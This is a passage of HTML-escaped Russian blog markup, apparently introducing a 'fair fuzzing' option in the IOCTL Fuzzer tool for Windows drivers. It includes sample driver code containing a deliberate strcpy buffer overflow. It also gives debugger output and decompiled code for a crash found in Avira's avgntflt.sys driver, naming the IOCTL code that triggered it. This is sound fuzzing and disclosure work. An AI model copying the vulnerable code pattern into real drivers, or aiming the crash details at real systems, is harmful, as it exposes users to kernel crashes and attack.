/&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;        ULONG Size &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;Parameters.DeviceIoControl.InputBufferLength;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;        PREQUEST_BUFFER Buff &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (PREQUEST_BUFFER)Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;AssociatedIrp.SystemBuffer;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;switch&lt;/span&gt;&lt;span style="color: black;"&gt; (Code)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;case&lt;/span&gt;&lt;span style="color: black;"&gt; IOCTL_DO_SOMETHING:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; проверка параметров IOCTL запроса&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (PsGetCurrentProcess() &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; m_TrustedProcess &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;                    Size &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;                {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szLocalString[&lt;/span&gt;&lt;span style="color: purple;"&gt;255&lt;/span&gt;&lt;span style="color: black;"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;                    strcpy(szLocalString, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Buff&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;szString);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; выполнение какой-то полезной работы&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: green;"&gt;                    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;                }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: blue;"&gt;break&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: black;"&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;47&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;48&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;49&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;50&lt;/span&gt;&lt;/pre&gt;Как мы можем видеть, вызов функции strcpy() на 36-й строке уязвим к классическому переполнению буфера, которое, однако, не&amp;nbsp;эксплуатируемое&amp;nbsp;на практике, так как ему предшествует "отсекание" IOCTL-запросов от процессов, не являющихся доверенными (32-я строка). Поскольку IOCTL запросы старой версии&amp;nbsp;фаззера&amp;nbsp;отправлялись из контекста оригинального процесса, осуществляющего взаимодействие с тестируемым драйвером, то фаззинг продемонстрированного фрагмента кода приводил бы к краху системы.&lt;br /&gt;&lt;br /&gt;Разумеется, далеко не все подобные проверки действительно нельзя обойти, однако, на практике было бы удобно иметь опцию, которая бы позволяла фаззеру пропускать подобные места кода. В новой версии IOCTL Fuzzer такая опция именуется "честный фаззинг". Её суть заключается в том, что активация настройки "fair_fuzzing" в &lt;a href="http://code.google.com/p/ioctlfuzzer/source/browse/trunk/bin/ioctlfuzzer.xml"&gt;конфигурационном файле&lt;/a&gt; указывает фаззеру на необходимость отправлять все "мусорные" IOCTL запросы из контекста своего собственного процесса, который, разумеется, вряд-ли будет являться доверенным для драйверов посторонних приложений.&lt;br /&gt;&lt;br /&gt;В заключении рассмотрим пользу "честного фаззинга" при тестировании реального приложения на примере последней версии &lt;a href="http://row.avira.com/ru/products/avira_premium_security_suite.html"&gt;Avira Premium Security Suite&lt;/a&gt;. При запуске фаззера с отключенной настройкой "fair_fuzzing" довольно быстро происходит аварийное завершение работы системы в следствии краха тестируемого приложения. При анализе аварийного дампа обнаруживается следующий стек вызовов:&lt;br /&gt;&lt;pre&gt;Access violation - code c0000005 (!!! second chance !!!)&lt;br /&gt;*** ERROR: Module load completed but symbols could not be loaded for avgntflt.sys&lt;br /&gt;avgntflt+0x698c:&lt;br /&gt;b2a8a98c 66393e          cmp     word ptr [esi],di&lt;br /&gt;kd&amp;gt; kb&lt;br /&gt;ChildEBP RetAddr  Args to Child&lt;br /&gt;WARNING: Stack unwind information not available. Following frames may be wrong.&lt;br /&gt;b27739b4 b2a87745 304ef370 caba0198 caba0384 avgntflt+0x698c&lt;br /&gt;b27739cc b2a89ad4 81dea508 00000037 00000037 avgntflt+0x3745&lt;br /&gt;b27739ec b2a89ba8 caba021c 81dea508 00000037 avgntflt+0x5ad4&lt;br /&gt;b2773a1c 804ee119 &lt;span style="color: red;"&gt;81f2fd80 82174a68&lt;/span&gt; 806d22d0 avgntflt+0x5ba8&lt;br /&gt;b2773a2c 80574d5e 82174ad8 8211ee58 82174a68 nt!IopfCallDriver+0x31&lt;br /&gt;b2773a40 80575bff 81f2fd80 82174a68 8211ee58 nt!IopSynchronousServiceTail+0x70&lt;br /&gt;b2773ae8 8056e46c 000000f4 00000000 00000000 nt!IopXxxControlFile+0x5e7&lt;br /&gt;*** ERROR: Module load completed but symbols could not be loaded for IOCTLfuzzer.sys&lt;br /&gt;b2773b1c b201b405 000000f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a&lt;br /&gt;b2773ba8 b201ba90 00000001 000000f4 00000000 IOCTLfuzzer+0x4405&lt;br /&gt;b2773c9c b201be17 00000001 81ecf008 000000f4 IOCTLfuzzer+0x4a90&lt;br /&gt;b2773d34 8053d638 000000f4 00000000 00000000 IOCTLfuzzer+0x4e17&lt;br /&gt;b2773d34 7c90e4f4 000000f4 00000000 00000000 nt!KiFastCallEntry+0xf8&lt;br /&gt;00a1e338 7c90d26c 7c801675 000000f4 00000000 ntdll!KiFastSystemCallRet&lt;br /&gt;00a1e33c 7c801675 000000f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc&lt;/pre&gt;Из аргументов функции avgntflt+0x5ba8 (выделены красным) извлекается имя устройства и параметры IOCTL запроса, который вызвал ошибку:&lt;br /&gt;&lt;pre&gt;kd&amp;gt; !devobj 81f2fd80&lt;br /&gt;Device object (81f2fd80) is for:&lt;br /&gt; &lt;span style="color: red;"&gt;avgntflt&lt;/span&gt; \FileSystem\avgntflt DriverObject 8210c1c8&lt;br /&gt;Current Irp 00000000 RefCount 1 Type 00000008 Flags 00000040&lt;br /&gt;Dacl e138a1dc DevExt 00000000 DevObjExt 81f2fe38&lt;br /&gt;ExtensionFlags (0000000000)&lt;br /&gt;Device queue is not busy.&lt;br /&gt;kd&amp;gt; !irp 82174a68&lt;br /&gt;Irp is active with 1 stacks 1 is current (= 0x82174ad8)&lt;br /&gt; No Mdl: System buffer=81dea508: Thread 81f29da8:  Irp stack trace.&lt;br /&gt;     cmd  flg cl Device   File     Completion-Context&lt;br /&gt;&amp;gt;[  e, 0]   5  0 81f2fd80 8211ee58 00000000-00000000&lt;br /&gt;        \FileSystem\avgntflt&lt;br /&gt;   Args: 00000000 00000037 caba021c 00000000&lt;br /&gt;kd&amp;gt; dt _IO_STACK_LOCATION 82174ad8 Parameters.DeviceIoControl.&lt;br /&gt;ntdll!_IO_STACK_LOCATION&lt;br /&gt;   +0x004 Parameters                  :&lt;br /&gt;      +0x000 DeviceIoControl             :&lt;br /&gt;         +0x000 OutputBufferLength          : 0&lt;br /&gt;         +0x004 InputBufferLength           : 0x37&lt;br /&gt;         +0x008 IoControlCode               : &lt;span style="color: red;"&gt;0xcaba021c&lt;/span&gt;&lt;br /&gt;         +0x00c Type3InputBuffer            : (null)&lt;/pre&gt;Как видно, ошибка происходит при обработке IOCTL запроса с кодом 0xcaba021c, адресованного устройству avgntflt (драйвер тестируемого продукта). Изучение уязвимого драйвера с помощью дизассемблера приводит к следующему фрагменту кода:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;unsigned &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; __stdcall sub_F7F376AA(unsigned &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; Code, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; FileInformation, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a3, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a4, ULONG Length, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a6, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a7)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; v8; &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; eax@20&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; v9; &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; [sp+0h] [bp-4h]@1&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;  v9 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (KeGetCurrentIrql())&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; STATUS_UNSUCCESSFUL;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; ( Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xCABA0198&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xCABA0320&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xCABA032C&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xCABA0384&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; IoGetCurrentProcess() &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; (PEPROCESS)dword_F7F3C184)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; STATUS_UNSUCCESSFUL;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Code &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xCABA021C&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    sub_F7F356F0(FileInformation, a3);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; v9;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; v9;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt;&lt;/pre&gt;Как видно, вызов уязвимой функции sub_F7F356F0, которая осуществляет обработку IOCTL запроса с нужным нам кодом, происходит только в том случае, если будет удовлетворено условие, осуществляющее проверку текущего процесса на предмет того, является ли он доверенным. В этом легко убедиться запустив фаззер с активированной настройкой "fair_fuzzing" - в этом случае падения системы при повторном проведении теста не&amp;nbsp;произойдет.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Режимы генерации некорректных данных для фаззинга&lt;/h3&gt;Алгоритм, который фаззер будет использовать для генерации некорректных данных, так же является важным фактором, определяющим эффективность его работы. Продемонстрируем это утверждение на следующем примере кода:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;typedef &lt;/span&gt;&lt;span style="color: blue;"&gt;struct&lt;/span&gt;&lt;span style="color: black;"&gt; _REQUEST_BUFFER&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;    ULONG Operation;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szString[];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;} REQUEST_BUFFER,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;PREQUEST_BUFFER;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;    PIO_STACK_LOCATION stack &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; IoGetCurrentIrpStackLocation(Irp);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;    Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;IoStatus.Status &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; ns;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;    Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;IoStatus.Information &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;MajorFunction &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; IRP_MJ_DEVICE_CONTROL)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; извлечение параметров IOCTL запроса&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;        ULONG Code &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;Parameters.DeviceIoControl.IoControlCode;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;        ULONG Size &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; stack&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;Parameters.DeviceIoControl.InputBufferLength;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;        PREQUEST_BUFFER Buff &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (PREQUEST_BUFFER)Irp&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;AssociatedIrp.SystemBuffer;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;switch&lt;/span&gt;&lt;span style="color: black;"&gt; (Code)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;case&lt;/span&gt;&lt;span style="color: black;"&gt; IOCTL_DO_SOMETHING:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; проверка параметров IOCTL запроса&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Buff&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;Operation &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; SOME_CONST &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;                    Size &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;                {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szLocalString[&lt;/span&gt;&lt;span style="color: purple;"&gt;255&lt;/span&gt;&lt;span style="color: black;"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;                    strcpy(szLocalString, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Buff&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;szString);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; выполнение какой-то полезной работы&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: green;"&gt;                    &lt;/span&gt;&lt;span style="color: 